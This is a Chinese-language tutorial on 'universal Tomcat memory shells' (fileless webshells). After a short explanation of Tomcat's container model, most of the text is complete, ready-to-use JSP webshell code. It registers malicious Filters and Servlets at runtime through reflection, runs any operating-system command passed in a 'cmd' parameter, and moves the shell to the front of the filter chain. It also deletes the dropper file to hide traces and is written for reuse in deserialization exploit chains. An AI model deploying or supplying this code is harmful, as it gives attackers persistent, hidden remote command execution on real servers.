通用Tomcat 内存马
通用Tomcat 内存马
下面知识点部分来自这里
- Servlet:servlet是一种运行服务器端的java应用程序,具有独立于平台和协议的特性,并且可以动态的生成web页面,它工作在客户端请求与服务器响应的中间层。Servlet 的主要功能在于交互式地浏览和修改数据,生成动态 Web 内容。
- Filter:filter是一个可以复用的代码片段,可以用来转换HTTP请求、响应和头信息。Filter无法产生一个请求或者响应,它只能针对某一资源的请求或者响应进行修改。
- Listener:通过listener可以监听web服务器中某一个执行动作,并根据其要求作出相应的响应。
Container – 容器组件
Tomcat中的 Container 用于封装和管理 Servlet ,以及具体处理Request请,在Connector内部包含了4个子容器:
Engine,实现类为 org.apache.catalina.core.StandardEngine Host,实现类为 org.apache.catalina.core.StandardHost Context,实现类为 org.apache.catalina.core.StandardContext Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
这四个字容器实际上是自上向下的包含关系
Engine:最顶层容器组件,其下可以包含多个 Host。 Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。 Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。 Wrapper:一个 Wrapper 代表一个 Servlet。
而对于一个 Tomcat 的web目录,对应关系实际是这样的:Webapps 对应的就是 Host 组件,045 和 example 对应的就是 Context 组件,Wrapper 就是容器内的 Servlet了。
获取StandardContext
Tomcat中的对应的ServletContext实现是ApplicationContext。在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。

所以我们得获取StandardContext实例才能对servlet和filter等注册进行操作,注册一个新的servlet等。
所以如果能获取到request,那么就可以拿到ServletContext
javax.servlet.ServletContext servletContext = request.getServletContext();
但是很多框架对于Serlvet进行了封装,不同框架实现不同,同一框架的不同版本实现也可能不同,因此我们无法利用一种简单通用的方法去获取当前请求的response和request。
- 从线程中获取StandardContext
首先由https://xz.aliyun.com/t/7348提出
在这里运用到了注入filter https://xz.aliyun.com/t/7388
具体思路是通过反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为true,并且对lastServicedRequest和lastServicedResponse这两个ThreadLocal进行初始化,代码如下
try {
//修改 WRAP_SAME_OBJECT 值为 true
Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (!f.getBoolean(null)) {
f.setBoolean(null, true);
}
//初始化 lastServicedRequest
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
//初始化 lastServicedResponse
f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
} catch (Exception e) {
e.printStackTrace();
}
之后,每次请求进来,就能通过这两个ThreadLocal获取到相应的request和response了
ServletRequest servletRequest = null;
/*shell注入,前提需要能拿到request、response等*/
Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) f.get(null);
//不为空则意味着第一次反序列化的准备工作已成功
if (threadLocal != null && threadLocal.get() != null) {
servletRequest = (ServletRequest) threadLocal.get();
}
- 在spring中通过spring容器获取servletContext对象
if (servletRequest == null) {
try {
c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getRequest");
servletRequest = (ServletRequest) m.invoke(o);
} catch (Throwable t) {}
}
if (servletRequest != null)
return servletRequest.getServletContext();
//spring获取法2
try {
c = Class.forName("org.springframework.web.context.ContextLoader");
Method m = c.getMethod("getCurrentWebApplicationContext");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.WebApplicationContext");
m = c.getMethod("getServletContext");
ServletContext servletContext = (ServletContext) m.invoke(o);
return servletContext;
} catch (Throwable t) {}
return null;
利用filter
先写一个恶意的filter
public class TomcatShellInject implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
String cmd;
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
如何注册filter
filter加载过程
在StandardContext的startInternal方法中可以看到先加载listener再加载filter最后加载servlet。

查看filter加载过程

filter注册过程
自servlet3.0开始,就允许动态注册servlet、filter、listener
我们来看看
FilterRegistration.Dynamic filterReg = servletContext.addFilter("testFilter", TestFilter.class);
FilterRegistration.Dynamic filterReg = servletContext.addFilter("testFilter", filter);
/**
* 映射请求的url
* 参数一:表示请求或者转发或者包含时会经过这个过滤器
* 参数二:表示动态配置的过滤器是否优先于web.xml中配置的过滤器
* true表示优先
* 参数三:请求过滤的url
*/
filterReg.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true, "/*");
可以看到是先addFilter,然后addMapping
addFilter中的内容就是创建filterDef,并放入StandardContext的filterDefs中。

addMappingForUrlPatterns是创建新的filterMap,并放入filterMaps中。

注意在addFilter中存在限制,只能在初始化时进行注册,不能在运行过程中注册,当然我们可以通过反射修改状态值。

filterConfigs/filterDefs/filterMaps
通过以上得分析,如果我们想要新注册一个filter,只需要将StandardContext的filterConfigs/filterDefs/filterMaps三个属性设置好就行。
综上所述,如果要实现filter型内存马要经过如下步骤:
- 创建恶意filter
- 用filterDef对filter进行封装
- 将filterDef添加到filterDefs跟filterConfigs中
- 创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中
要注意的是,因为filter生效会有一个先后顺序,所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去。
每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启。
我们可以通过反射完成上面的内容,也可以先调用addFilter然后调用filterStart完成上面三个属性的设置。
实践
通过反射设置filterConfigs/filterDefs/filterMaps
// TomcatShellInject是上面出现的恶意filter
Filter filter = new TomcatShellInject();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
//将filterDef加入filterDefs
standardContext.addFilterDef(filterDef);
FilterMap m = new FilterMap();
m.setFilterName(filterDef.getFilterName());
m.setDispatcher(DispatcherType.REQUEST.name());
m.addURLPattern(filterUrlPattern);
//将filterMap加入filterMaps
//addFilterMapBefore指的是将filter加入到第一个
standardContext.addFilterMapBefore(m);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig) constructor.newInstance(standardContext, filterDef);
//加入filterconfigs
Field fc = StandardContext.class.getDeclaredField("filterConfigs");
fc.setAccessible(true);
HashMap data = (HashMap) fc.get(standardContext);
data.put(filterName, filterConfig);
fc.set(standardContext, data);
或者通过先调用addFilter然后调用filterStart完成上面三个属性的设置
//修改运行状态,所以可以在非初始化期间调用addFilter
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
//创建一个自定义的Filter马
Filter mainfilter = new TomcatShellInject();
//动态注册filter,执行addFilter和addMappingForUrlPatterns
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
.addFilter(filterName, mainfilter);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{"/*"});
//状态恢复,要不然服务不可用
if (stateField != null) {
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
}
if (standardContext != null) {
//生效filter,执行filterStart
Method filterStartMethod = org.apache.catalina.core.StandardContext.class
.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
Class ccc = null;
try {
ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Throwable t){}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (Throwable t){}
}
// 把filter插到第一位
// 因为是调用addMappingForUrlPatterns添加的filterMaps,所以默认放在了最后面
Method m = c.getMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = o;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
}
最后的filter马
其中init和init2分别是两种不同的注册filter方式。之所以类都继承了AbstractTranslet,是因为代码还可以用在反序列化cc2、cc3、cc4链等。
<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%@page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@page import="com.sun.org.apache.xalan.internal.xsltc.DOM"%>
<%@page import="com.sun.org.apache.xalan.internal.xsltc.TransletException"%>
<%@page import="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"%>
<%@page import="com.sun.org.apache.xml.internal.dtm.DTMAxisIterator"%>
<%@page import="com.sun.org.apache.xml.internal.serializer.SerializationHandler"%>
<%@page import="java.io.File"%>
<%@page import="java.io.IOException"%>
<%@page import="java.lang.reflect.Method"%>
<%@page import="javax.servlet.Filter"%>
<%@page import="javax.servlet.FilterChain"%>
<%@page import="javax.servlet.FilterConfig"%>
<%@page import="javax.servlet.ServletContext" %>
<%@page import="javax.servlet.ServletException"%>
<%@page import="javax.servlet.ServletRequest" %>
<%@page import="javax.servlet.ServletResponse" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%!
/**
* webshell命令参数名
*/
private final String cmdParamName = "cmd";
/**
* 建议针对相应业务去修改filter过滤的url pattern
*/
private final static String filterUrlPattern = "/jrxnm";
private final static String filterName = "testfilter";
public class TomcatEchoInject extends AbstractTranslet {
public void init(){
try {
//修改 WRAP_SAME_OBJECT 值为 true
Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (!f.getBoolean(null)) {
f.setBoolean(null, true);
}
//初始化 lastServicedRequest
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
//初始化 lastServicedResponse
f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
}
public class TomcatShellInject extends AbstractTranslet implements Filter {
public Boolean init(String filename) {
try {
javax.servlet.ServletContext servletContext = getServletContext();
if (servletContext != null) {
Class c = Class.forName("org.apache.catalina.core.StandardContext");
Object standardContext = null;
//判断是否已有该名字的filter,有则不再添加
if (servletContext.getFilterRegistration(filterName) == null) {
//遍历出标准上下文对象
for (; standardContext == null; ) {
java.lang.reflect.Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
Object o = contextField.get(servletContext);
if (o instanceof javax.servlet.ServletContext) {
servletContext = (javax.servlet.ServletContext) o;
} else if (c.isAssignableFrom(o.getClass())) {
standardContext = o;
}
}
if (standardContext != null) {
//修改状态,要不然添加不了
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
//创建一个自定义的Filter马
Filter mainfilter = new TomcatShellInject();
//添加filter马
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
.addFilter(filterName, mainfilter);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{"/*"});
//状态恢复,要不然服务不可用
if (stateField != null) {
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
}
if (standardContext != null) {
//生效filter
Method filterStartMethod = org.apache.catalina.core.StandardContext.class
.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
Class ccc = null;
try {
ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Throwable t){}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (Throwable t){}
}
// 把filter插到第一位
Method m = c.getMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = o;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
}
}
}
//删除文件
new File(servletContext.getRealPath(filename)).delete();
return true;
}
else{
return false;
}
} catch (Exception e) {
e.printStackTrace();
return false;
}
}
public Boolean init2(String filename, HttpServletRequest request) {
try {
javax.servlet.ServletContext servletContext = request.getServletContext();;
if (servletContext != null) {
Class c = Class.forName("org.apache.catalina.core.StandardContext");
Object standardContexts = null;
//判断是否已有该名字的filter,有则不再添加
if (servletContext.getFilterRegistration(filterName) == null) {
//遍历出标准上下文对象
for (; standardContexts == null; ) {
java.lang.reflect.Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
Object o = contextField.get(servletContext);
if (o instanceof javax.servlet.ServletContext) {
servletContext = (javax.servlet.ServletContext) o;
} else if (c.isAssignableFrom(o.getClass())) {
standardContexts = o;
}
}
StandardContext standardContext = (StandardContext) standardContexts;
if (standardContext !=null) {
Filter filter = new TomcatShellInject();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap m = new FilterMap();
m.setFilterName(filterDef.getFilterName());
m.setDispatcher(DispatcherType.REQUEST.name());
m.addURLPattern(filterUrlPattern);
standardContext.addFilterMapBefore(m);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig) constructor.newInstance(standardContext, filterDef);
Field fc = StandardContext.class.getDeclaredField("filterConfigs");
fc.setAccessible(true);
HashMap data = (HashMap) fc.get(standardContext);
data.put(filterName, filterConfig);
fc.set(standardContext, data);
}
}
//删除文件
new File(servletContext.getRealPath(filename)).delete();
return true;
}
else{
return false;
}
} catch (Exception e) {
e.printStackTrace();
return false;
}
}
private ServletContext getServletContext()
throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ServletRequest servletRequest = null;
/*shell注入,前提需要能拿到request、response等*/
Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) f.get(null);
//不为空则意味着第一次反序列化的准备工作已成功
if (threadLocal != null && threadLocal.get() != null) {
servletRequest = (ServletRequest) threadLocal.get();
}
//如果不能获取到request,则换一种方式尝试获取
//spring获取法1
if (servletRequest == null) {
try {
c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getRequest");
servletRequest = (ServletRequest) m.invoke(o);
} catch (Throwable t) {}
}
if (servletRequest != null)
return servletRequest.getServletContext();
//spring获取法2
try {
c = Class.forName("org.springframework.web.context.ContextLoader");
Method m = c.getMethod("getCurrentWebApplicationContext");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.WebApplicationContext");
m = c.getMethod("getServletContext");
ServletContext servletContext = (ServletContext) m.invoke(o);
return servletContext;
} catch (Throwable t) {}
return null;
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
String cmd;
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
%>
<%
TomcatEchoInject te = new TomcatEchoInject();
te.init();
TomcatShellInject ts = new TomcatShellInject();
if(ts.init2(request.getServletPath(), request)){
out.println("success");
}
else{
out.println("again");
}
%>
利用servlet
先写一个恶意servlet
public class EvalServlet extends HttpServlet{
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = resp.getWriter();
out.println(output);
out.flush();
out.close();
}
}
如何注册servlet
servlet加载过程
回到StandardContext的startInternal

StandardContext对象的children中就是注册了的servlcet,可见名为haha的servlet,被StandardWrapper封装。

servlet动态注册
ServletRegistration.Dynamic reg = servletContext.addServlet("test", TestServlet.class);
//添加请求映射(相当于配置url-pattern)
reg.addMapping("/test");
addServlet主要是调用createWrapper根据servlet创建了个wrapper,然后将其放在children属性中。

最后也只需调用standardContext的addServletMapping方法模拟addMapping方法将servlet访问添加请求映射。
实践
如下就能动态注册一个servlet
Servlet servlet = new EvalServlet();
Wrapper newWrapper = sC.createWrapper();
newWrapper.setName(servletName);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
sC.addChild(newWrapper);
sC.addServletMapping(servletUrlPattern, servletName);
最后servlet马
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.DOM" %>
<%@ page import="com.sun.org.apache.xml.internal.serializer.SerializationHandler" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.TransletException" %>
<%@ page import="com.sun.org.apache.xml.internal.dtm.DTMAxisIterator" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.Container" %>
<%@ page import="java.io.File" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
/**
* webshell命令参数名
*/
private final String cmdParamName = "cmd";
/**
* 建议针对相应业务去修改filter过滤的url pattern
*/
private final static String servletUrlPattern = "/*";
private final static String servletName = "testservlet";
public class EvalServlet extends HttpServlet{
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = resp.getWriter();
out.println(output);
out.flush();
out.close();
}
}
public class TomcatEchoInject extends AbstractTranslet {
public void init(){
try {
//修改 WRAP_SAME_OBJECT 值为 true
Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (!f.getBoolean(null)) {
f.setBoolean(null, true);
}
//初始化 lastServicedRequest
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
//初始化 lastServicedResponse
f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
}
public class ServletMemInject extends AbstractTranslet{
public Boolean inject(String filename){
try {
javax.servlet.ServletContext servletContext = getServletContext();
if (servletContext != null) {
Class c = Class.forName("org.apache.catalina.core.StandardContext");
Object standardContext = null;
//判断是否已有该名字的filter,有则不再添加
if (servletContext.getFilterRegistration(servletName) == null) {
//遍历出标准上下文对象
for (; standardContext == null; ) {
java.lang.reflect.Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
Object o = contextField.get(servletContext);
if (o instanceof javax.servlet.ServletContext) {
servletContext = (javax.servlet.ServletContext) o;
} else if (c.isAssignableFrom(o.getClass())) {
standardContext = o;
}
}
StandardContext sC = (StandardContext) standardContext;
if (standardContext !=null) {
Servlet servlet = new EvalServlet();
Wrapper newWrapper = sC.createWrapper();
newWrapper.setName(servletName);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
sC.addChild(newWrapper);
sC.addServletMapping(servletUrlPattern, servletName);
}
}
//删除文件
new File(servletContext.getRealPath(filename)).delete();
return true;
}
else{
return false;
}
} catch (Exception e) {
e.printStackTrace();
return false;
}
}
private ServletContext getServletContext()
throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ServletRequest servletRequest = null;
/*shell注入,前提需要能拿到request、response等*/
Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) f.get(null);
//不为空则意味着第一次反序列化的准备工作已成功
if (threadLocal != null && threadLocal.get() != null) {
servletRequest = (ServletRequest) threadLocal.get();
}
//如果不能获取到request,则换一种方式尝试获取
//spring获取法1
if (servletRequest == null) {
try {
c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getRequest");
servletRequest = (ServletRequest) m.invoke(o);
} catch (Throwable t) {}
}
if (servletRequest != null)
return servletRequest.getServletContext();
//spring获取法2
try {
c = Class.forName("org.springframework.web.context.ContextLoader");
Method m = c.getMethod("getCurrentWebApplicationContext");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.WebApplicationContext");
m = c.getMethod("getServletContext");
ServletContext servletContext = (ServletContext) m.invoke(o);
return servletContext;
} catch (Throwable t) {}
return null;
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
}
%>
<%
TomcatEchoInject te = new TomcatEchoInject();
te.init();
ServletMemInject ts = new ServletMemInject();
if(ts.inject(request.getServletPath())){
out.println("success");
}
else{
out.println("again");
}
%>